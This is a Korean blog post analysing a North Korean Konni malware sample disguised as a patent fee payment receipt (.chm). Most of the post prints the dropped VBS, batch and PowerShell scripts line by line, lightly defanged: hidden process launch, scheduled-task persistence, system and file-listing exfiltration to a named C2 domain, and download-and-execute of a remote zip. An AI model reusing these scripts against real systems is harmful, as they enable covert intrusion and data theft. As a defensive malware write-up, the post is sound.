꿈을꾸는 파랑새

오늘은 북한 해킹 단체 Konni(코니) 에서 특허 수수료 납부 확인증 위장한 악성코드-PaymentConfirmation.chm(2023.12.29)에 대해 글을 적어 보겠습니다.
2017년 Cisco Talos 연구원이 처음 발견했으며, 2014년부터 탐지되지 않은 채 고도의 타깃 공격으로 하는 북한의 해킹 단체 Thallium, APT37과 관련된 해킹 단체이며 Kimsuky(김수키)일 가능성도 있는 단체입니다. 일단 기본적으로 미끼(Decoy) 문서를 사용자에게 표시한 다음 피해자 컴퓨터에서 악성 파일을 실행합니다.
보통은 한글과 컴퓨터에서 만들어서 배포하는 포멧인 hwp에서는 악성코드가 없겠지 생각을 하지만 해당 포멧을 자주 이용하고 있으며 먼저 압축 파일 해쉬값은 다음과 같습니다.
파일명:PaymentConfirmation.chm
사이즈:158 KB
MD5:2548d0e05c47c506cf9fd668dace5497
SHA-1:8ac21a35158ba9ebf80493bdb8cf8eb81386a02b
SHA-256:fd47c8418d9f8ed39f2f746042c982ac53a788cace370ae8906aecc8c228deeb
해당 악성코드는 chm 즉 윈도우 도움말 형식으로 돼 있으면 사견으로는 아마도 무작위로 메일을 보내고 여기서 특허 관련 있는 분들을 노리는 것 같습니다. 즉 그냥 한국 국민을 공격하는 것 같습니다.

PaymentConfirmation.chm 악성코드 실행PaymentConfirmation.chm 에 포함이 된 내용
PaymentConfirmation.chm 악성코드 실행

chm 파일 내용은 특허수수료 납부확인증 
청구기관: 특허청 운영지원과 징수관 
전자납부번호 납부자번호):0???????????
납기내기한 
납기내금액:112,200 원 
납기후기한:2023.10.12~2023.10.12 
납기후금액:112,200 원 
납부금액:112,200 원 
납부자:???
주민(사업자 법인)번호:6???? ?******* 
사건의 표시:1?-2023-????? 
서류명 【특허줄원]특허줄원서 
납부계좌 
위 금액을 정히 영수합니다. 특허청 운영지원과 징수관 
2023.10.11 JI 금융결제원 
금융결제원(인터넷지로)은 수납 납부대행기관으로 본 납부확인증은 참고용 입니다.
납부영수증 등 증빙자료는 해당 기관에 요청하시어 발급받으시기 바랍니다.

해당 악성코드는 emlmanager.vbs 에 있으며 Cerbero Suite Advanced로 열어 보면 emlmanager.vbs 에 코드가 있는 것을 확인할 수가 있습니다.

Cerbero Suite Advanced 본 VBS 코드
Cerbero Suite Advanced 본 VBS 코드

Set fyhn = GetObject("winmgmts:win32(_)ProcessStartup")
Set plrn = fyhn.SpawnInstance_
plrn.Show(W)indow = 0
uhex = Left((W)Script.ScriptFullName, InstrRev(WScript.ScriptFullName, "\") - 1)
Set axju = GetO(b)ject("winmgmts:win32_process")
sbbrd = axju.Create(uhex & "\2034923(.)bat", Null, plrn, pid)
Set axju = Noth(i)ng
Set plrn = Noth(i)ng
Set fyhn = Noth(i)ng

VBS 코드 설명

해당 코드는 VBScript를 사용하여 Windows 운영 체제에서 새 프로세스를 생성하고 해당 프로세스를 숨기는 작업을 수행
1.Set fyhn (=) GetObject("winmgmts:win32_ProcessStartup"):WMI(Windows Management Instrumentation)를 사용하여 win32_ProcessStartup 클래스의 인스턴스를 가져오며 인스턴스는 새 프로세스의 시작 설정을 구성하는 데 사용
2.Set plrn = fyhn.SpawnInstance_:win32_ProcessStartup 클래스의 인스턴스에서 SpawnInstance_ 메서드를 호출하여 새 win32_ProcessStartup 인스턴스를 생성하며 해당 인스턴스를 통해서 새로운 프로세스의 시작 설정을 합니다.
3.plrn.ShowWindow = 0:새로운 프로세스의 창을 숨기려고 ShowWindow 속성을 0으로 설정 여기서 0은 숨기기를 의미
4. uhex = Left(WScript.ScriptFullName, InstrRev(WScript.ScriptFullName, "\") - 1):현재 스크립트 파일의 전체 경로에서 파일 이름을 제외한 경로를 추출
5.Set axju = GetObject("winmgmts:win32_process"):WMI를 사용하여 win32_process 클래스의 인스턴스를 가져옴
6.sbbrd = axju.Create(uhex & "\2034923(.)bat", Null, plrn, pid):새로운 프로세스를 생성합
Create 메서드를 사용하여 실행할 파일의 경로 및 이름을 지정하고, 시작 설정을 나타내는 plrn 인스턴스를 전달
pid 변수는 새로 생성된 프로세스의 프로세스 ID를 저장
7. Set axju = Nothing, Set plrn = Nothing, Set fyhn = Nothing:사용이 끝난 WMI 인스턴스들을 메모리에서 해제
현재 스크립트 파일과 동일한 경로에 있는 2034923(.)bat라는 배치 파일을 실행하면서 해당 프로세스를 숨기는 역할을 하고 있으며 배치 파일의 내용은 제공되지 않았으므로 2034923.bat 파일이 본격적으로 개인정보 훔치기 위한 시작점이라고 할 수가 있습니다.
이번에는 PowerShell 스크립트를 사용하지 않았고 VBScript를 사용을 하고 있습니다.
그러면 악성코드는 chm 파일을 보여 주고 나서 윈도우 공용 폴더에 악성코드가 포함된 bat를 통해서 개인정보를 훔치기 위한 동작을 합니다.
위치:C:\Users\Public\Libraries
먼저 2034923.bat 코드입니다.

2034923.bat 내용
2034923.bat 내용

@echo off
rem Rubick's 2034923
pushd "%~dp0"
schtasks /query /tn "SafeBrowsing" > nul
if %ERRORLEVEL% equ 0 (goto NORMAL) else (goto REGISTER)
:REGISTER
schtasks /create /sc minute /mo 2 /tn "Saf(e)Browsing" /tr "%~dp0emlmanager(.)vbs" /f > nul
:NORMAL
if exist "9583423(.)bat" (
	call 9583423(.0bat > nul
	del /f /q 9583423(.)bat > nul
)
set r=hxxps://niscarea(.)com
call 4959032(.)bat %r% > nul
call 5923924(.)bat %r% > nul

입니다.

bat 코드 설명

먼저 해당 악성코드는 다음과 같은 사이트를 이용합니다.

hxxps://niscarea(.)com/ ->hxxps://niscarea(.)com/cgi-sys/suspendedpage(.)cgi

로 접속을 합니다.
1.@echo off:명령 실행 시 명령 내용을 출력하지 않도록 설정
2.rem Rubick's 2034923:주석으로 Rubick's 2034923이라는 텍스트를 포함하고 있음
3.pushd "%~dp0":현재 작업 디렉터리를 스크립트가 있는 디렉토리로 변경
4.schtasks /query /tn "SafeBrowsing" > nul: 스케줄된 작업 SafeBrowsing이 있는지 확인. `> nul`은 출력을 표시하지 않도록 함
5.if %ERRORLEVEL% equ 0 (goto NORMAL) else (goto REGISTER): schtasks 명령의 결과에 따라 분기
ERRORLEVEL이 0이면 NORMAL로 이동하고 그렇지 않으면 REGISTER로 이동
6.:REGISTER:SafeBrowsing 이라는 스케줄된 작업이 없는 경우 해당 레이블로 이동하고 2분 간격으로 실행되는 SafeBrowsing 작업을 등록합
등록된 작업은 emlmanager(.)vbs 스크립트를 실행하도록 설정
7.:NORMAL:SafeBrowsing 작업이 이미 등록되어 있는 경우 해당 레이블로 이동하며 9583423(.)bat 파일이 존재하는 경우 해당 파일을 호출하고 삭제
그리고 hxxps://niscarea(.)com 으로 설정된 r 변수를 사용하여 두 개의 다른 배치 파일을 호출
8.set r=hxxps://niscarea(.)com:변수 r 에 hxxps://niscarea(.)com 을 설정
9.call 4959032(.)bat %r% > nul:4959032(.)bat 배치 파일을 호출하고 %r% 변숫값을 인수로 전달하여 실행 결과를 표시하지 않도록 진행
10.call 5923924.bat %r% > nul:5923924().)bat" 배치 파일을 호출하고 %r% 변숫값을 인수로 전달하여 실행 결과를 표시하지 않도록 함

9583423.bat 코드 입니다.

9583423.bat 내용
9583423.bat 내용

@echo off
pushd "%~dp0"
systeminfo > %~dp0sys(.)txt
timeout -t 1 /nobreak
tasklist > %~dp0tsklt(.)txt
timeout -t 1 /nobreak
dir "C:\Users\%username%\Desktop" /a/o-d/s > %~dp0desk(.)txt
timeout -t 1 /nobreak
dir "C:\Users\%username%\Downloads" /a/o-d/s > %~dp0down(.)txt
timeout -t 1 /nobreak
set l=hxxps://niscarea(.)com
call 1295049(.)bat %l% "%~dp0sys(.)txt" >nul
timeout -t 1 /nobreak
call 1295049(.)bat %l% "%~dp0tsklt(.)txt" >nul
timeout -t 1 /nobreak
call 1295049(.)bat %l% "%~dp0desk(.)txt" >nul
timeout -t 1 /nobreak
call 1295049(.)bat %l% "%~dp0down(.)txt" >nul
timeout -t 1 /nobreak

코드 설명

해당 스크립트는 노트북 시스템 정보를 수집하고 사용자 데스크톱 및 다운로드 디렉터리의 파일 목록을 가져와 해당 정보를 서버로 전송하는 목적을 수행합니다.
@echo off: 명령 실행 시 명령 내용을 출력하지 않도록 설정
pushd "%~dp0":현재 작업 디렉토리를 스크립트가 있는 디렉터리로 변경
systeminfo > %~dp0sys(.)txt
timeout -t 1 /nobreak
systeminfo > %~dp0sys(.)txt:systeminfo 명령을 사용하여 시스템 정보를 수집하고 %~dp0sys(.)txt 파일에 저장
timeout -t 1 /nobreak: 1초 동안 대기
/nobreak 는 사용자가 입력하더라도 대기를 취소하지 않도록 합니다.
tasklist > %~dp0tsklt(.)txt
timeout -t 1 /nobreak
tasklist > %~dp0tsklt(.)txt:현재 실행 중인 작업 목록을 가져와 %~dp0tsklt.txt 파일에 저장
timeout -t 1 /nobreak:다시 1초 동안 대기
dir "C:\Users\%username%\Desktop" /a/o-d/s > %~dp0desk(.)txt
timeout -t 1 /nobreak
dir "C:\Users\%username%\Desktop" /a/o-d/s > %~dp0desk.txt:데스크톱 디렉토리의 파일 목록을 시간 순서대로 가져와 "%~dp0desk(.)txt 파일에 저장
timeout -t 1 /nobreak:다시 1초 동안 대기
dir "C:\Users\%username%\Downloads" /a/o-d/s > %~dp0down(.)txt
timeout -t 1 /nobreak
dir "C:\Users\%username%\Downloads" /a/o-d/s > %~dp0down.txt:다운로드 디렉터리의 파일 목록을 시간 순서대로 가져와 %~dp0down(.)txt 파일에 저장
timeout -t 1 /nobreak:다시 1초 동안 대기
set l=hxxps://niscarea(.)com
call 1295049(.)bat %l% "%~dp0sys(.)txt" >nul
timeout -t 1 /nobreak
call 1295049(.)bat %l% "%~dp0tsklt(.)txt" >nul
timeout -t 1 /nobreak
call 1295049(.)bat %l% "%~dp0desk(.)txt" >nul
timeout -t 1 /nobreak
call 1295049.bat %l% "%~dp0down(.)txt" >nul
timeout -t 1 /nobreak
set l=hxxps://niscarea(.)com:변수 l에 hxxps://niscarea(.)com을 설정
call 1295049(.)bat %l% "%~dp0sys(.)txt" >nul:1295049(.)bat 배치 파일을 호출하고 %l%` 변숫값을 및 시스템 정보 파일의 경로를 인수로 전달하여 실행 결과를 표시하지 않도록 합니다.
이후에도 같은 방식으로 1295049(.)bat 를 호출하여 다른 파일들의 정보를 서버로 전송
timeout -t 1 /nobreak:각 호출 사이에 1초 동안 대기

4959032.bat 내용

4959032.bat 내용
4959032.bat 내용

@echo off
rem == Hello EveryOne ==
pushd %~dp0
set "l=%~1"
powershell -ep bypass (-0command "$l='%l%';$c=[Convert]::ToBase64String
([System(.)Text(.)Encoding]::ASCII.GetBytes($env:COMPUTERNAME));$a=
'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.*; WOW64; Trident/6.0)'
;$u=$l+'/?cn='+$c;$(w)=New-Object System.Net.WebClient;$w.Headers(.0Add('User-Agent',$a);
$r=$w(.)UploadString($u,'ok')"

4959032.bat 코드 설명

PowerShell을 사용하여 웹 요청을 수행합니다.
@echo off
rem == Hello EveryOne ==
pushd %~dp0
@echo off:명령 실행 시 명령 내용을 출력하지 않도록 설정
rem == Hello EveryOne ==:주석으로 Hello EveryOne이라는 텍스트를 포함
pushd %~dp0:현재 작업 디렉토리를 스크립트가 있는 디렉토리로 변경
set "l=%~1"
set "l=%~1":스크립트 실행 시 전달된 첫 번째 인수를 변수 l에 할당
powershell -ep byp(a)ss (-)command "$l='%l%';$c=[Conve(r)t]::ToBase64(S)tring([System.(T)ext.Encoding]::ASCII.GetBytes($env:COMPUTERNAME));$a='Mozilla/5.0 (compatible; M(S)IE 10.0; Windows NT 6.*; WOW64; Trident/6.0)';$u=$l+'/?cn='+$c;$w(=)New-Object System.Net.WebClient;$w.Headers.Add('User-Agen(t)',$a);$r=$w.U(p)loadString($u,'ok')"
powershell -ep bypass -command:PowerShell을 Bypass Execution Policy로 실행하고 명령어를 실행하기 위한 옵션
"$l='%l%';":PowerShell 스크립트 내에서 Batch 파일에서 설정한 l 변수의 값을 사용
$c=[Convert]::ToBase64String([System.Text.Encoding]::ASCII.GetBytes($env:COMPUTERNAME));:현재 컴퓨터 이름을 ASCII로 인코딩하고 그 값을 Base64로 인코딩하여 변수 c에 할당
$a='Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.*; WOW64; Trident/6.0)';`: 가짜 User-Agent 값을 생성하여 변수 a`에 할당
$u=$l+'/?cn='+$c;:URL을 구성하여 변수 u에 할당
$w=New-Object System.Net.WebClient;:새로운 WebClient 개체를 생성하여 변수 w에 할당
$w.Headers.Add('User-(A)gent',$a);:HTTP 요청 헤더에 User-Agent 값을 추가
$r=$w.UploadString($u,'ok'):지정된 URL에 대한 POST 요청을 수행하고 결과를 변수 r에 할당
해당 스크립트는 PowerShell을 사용하여 지정된 URL로 POST 요청을 보내는 목적이 있습니다. 이때, User-Agent 헤더에는 가짜 User-Agent 값이 포함되어 있음

5923924.bat 내용

5923924.bat 내용
5923924.bat 내용

@echo off
pushd %~dp0
set "l=%~1"
set fn=alo29(30n20so
set n=5
del /f /q run(.0bat > nul
call 3059602(.)bat %l% "%~dp0%fn%(.)zip" > nul
if not exist "run(.)bat" (goto END)
call run(.)bat > nul
del /f /q run(.)bat > nul
:END

코드 설명

@echo off
pushd %~dp0
@echo off:명령 실행 시 명령 내용을 출력하지 않도록 설정
pushd %~dp0:현재 작업 디렉토리를 스크립트가 있는 디렉토리로 변경
set "l=%~1"
set fn=alo293n20so
set n=5
set "l=%~1":스크립트 실행 시 전달된 첫 번째 인수를 변수 l 에 할당
set fn=alo293n20so:변수 fn에 alo293n20so라는 값을 할당
set n=5:변수 n에 5라는 값을 할당
del /f /q run(.)bat > nul
del /f /q run(.)bat > nul: run.bat 파일을 강제로 삭제
에러 메시지가 나오지 않도록 > nul 로 출력을 무시
call 3059602(.)bat %l% "%~dp0%fn%(.)zip > nul
call 3059602(.)bat %l% "%~dp0%fn%(.)zip" > nul: 3059602.bat 배치 파일을 호출하고 %l% 변숫값을 및 %fn%(.)zip 파일의 경로를 인수로 전달하여 실행 결과를 표시하지 않도록 진행
if not exist "run.bat" (goto END):run(.)bat 파일이 존재하지 않으면 :END로 이동
call run.bat > nul:run(.)bat 파일을 호출하고 실행 결과를 표시하지 않도록 진행
del /f /q run(.)bat > nul:다시 run(.)bat 파일을 삭제
해당 스크립트는 run(.)bat 파일을 삭제한 후에 3059602(.0bat 를 호출하여 그 후에 run.bat 를 호출하여 추가적인 작업을 수행

3059602.bat 내용

3059602.bat 내용
3059602.bat 내용

@echo off
pushd %~dp0
set "l=%~1"
set "f=%~2"
set n=4
powershell -ep bypass -command "Add-Type -Ass(e0mblyName System.IO.Compression(.)
FileSystem;$l='%l%';$f='%f%';$c=[Con(v)ert]::ToBase64String([System.Text.Encoding]
::ASCII.GetBytes($e(n)v:COMPUTERNAME));$a='Mozilla/5.0 
(compatible; MSIE 10.0; Windows NT (6).*; WOW64; Trident/6.0)'
;$u=$l+'/out.php?cn='+$c;($)r=(Invoke-RestMethod -uri $u -UserAgent $a)
;if ($r.Length -gt 32){(R)emove-Item $f -Force;$b=[Convert]::FromBase(6)4String($r)
;[System.IO.File]::WriteAllBytes($f,$b);$h=[System.IO.Compression(.)ZipFile]:
:OpenRead($f);foreach ($e in $h.Entries){[System.IO.Compression(.)ZipFileExtensions]
::ExtractToFile($e,$e.FullName,$true);}$h.Dispose();Remove-I(t)em $f -Force;}"

코드 설명

해당 스크립트는 Batch 파일에서 PowerShell을 사용하여 웹 요청을 수행하고 받아온 데이터를 처리하여 압축을 풀고 그 결과를 파일로 저장
@echo off:명령 실행 시 명령 내용을 출력하지 않도록 설정
pushd %~dp0: 현재 작업 디렉터리를 스크립트가 있는 디렉터리로 변경
set "l=%~1":스크립트 실행 시 전달된 첫 번째 인수를 변수 l에 할당
set "f=%~2":스크립트 실행 시 전달된 두 번째 인수를 변수 f에 할당
set n=4:변수 n에 4라는 값을 할당
powershell -ep bypass -command:PowerShell을 Bypass Execution Policy로 실행명령어를 실행하기 위한 옵션
Add-Type -AssemblyName System.IO.Compression.FileSystem;...":PowerShell 스크립트 내에서 .NET 어셈블리를 추가하고 웹 요청을 수행하여 받아온 데이터를 처리하는 작업을 수행
$l='%l%';$f='%f%';...:Batch 파일에서 전달받은 변수 값을 PowerShell 변수에 할당
$u=$l+'/out.php?cn='+$c;:URL을 구성하여 변수 u 에 할당
$r=(Invoke-RestMethod -uri $u -UserAgent $a);:지정된 URL에 대한 웹 요청을 수행하고 결과를 변수 r에 할당
if ($r.Length -gt 32){...}:받아온 데이터의 길이가 32보다 크면 다음의 작업을 수행
Remove-Item $f -Force;:기존 파일을 강제로 삭제
$b=[Convert]::FromBase64String($r);:Base64로 인코딩된 데이터를 바이트 배열로 디코딩하여 변수 b에 할당
[Systehttp://m.IO.File]::WriteAllBytes($f,$b);:바이트 배열을 파일로 저장
$h=[System.IO.Compression.ZipFile]::OpenRead($f);:압축 파일을 읽기 모드로 열고 변수 h에 할당
foreach ($e in $h.Entries){...}:압축 파일 내의 각 파일에 대해 반복하면서 아래의 작업을 수행
[System.IO.Compression.ZipFileExtensions]::ExtractToFile($e,$e.FullName,$true);: 압축을 풀어 파일을 추출
$h.Dispose();:압축 파일을 닫음
Remove-Item $f -Force;:최종적으로 파일을 강제로 삭제
2024-01-03 15:04:28 UTC 기준 바이러스토 토탈에서 탐지 하는 보안 업체들은 다음과 같습니다.
AhnLab-V3:Downloader/CHM.Generic
ALYac:Trojan.Downloader.CHM
Antiy-AVL:Trojan/BAT.Agent
Arcabit:Trojan.Generic.D43BAFD5
Avast:Other:Malware-gen [Trj]
AVG:Other:Malware-gen [Trj]
BitDefender:Trojan.GenericKD.71020501
Emsisoft:Trojan.GenericKD.71020501 (B)
eScan:Trojan.GenericKD.71020501
ESET-NOD32:BAT/Agent.QBK
Fortinet:HLP/Agent.G1!tr
GData:BAT.Trojan.Agent.R2YB7D
Google:Detected
Ikarus:Trojan.Win32.Agent
Kaspersky:UDS:DangerousObject.Multi.Generic
Kingsoft:Win32.Troj.Undef.a
Lionic:Trojan.HTML.Generic.4!c
MAX:Malware (ai Score=81)
Rising:Trojan.MouseJack/HTML!1.BE26 (CLASSIC)
Skyhigh (SWG):Artemis!Trojan
Symantec:Trojan Horse
Tencent:Bat.Trojan.Agent.Agow
Trellix (FireEye):Trojan.GenericKD.71020501
VIPRE:Trojan.GenericKD.71020501
VirIT:Trojan.CHN.Agent.BVH
ZoneAlarm by Check Point:HEUR:Trojan.BAT.Agent.gen
결론 북한은 예전에는 대북 관계자, 방송국, 정치인들을 노렸다면 지금은 일반 국민을 대상으로 공격하고 있습니다.
기본적으로 백신 프로그램 및 보안 수칙을 지키는 것이 안전하게 사용을 하는 방법일 것입니다.

반응형
그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band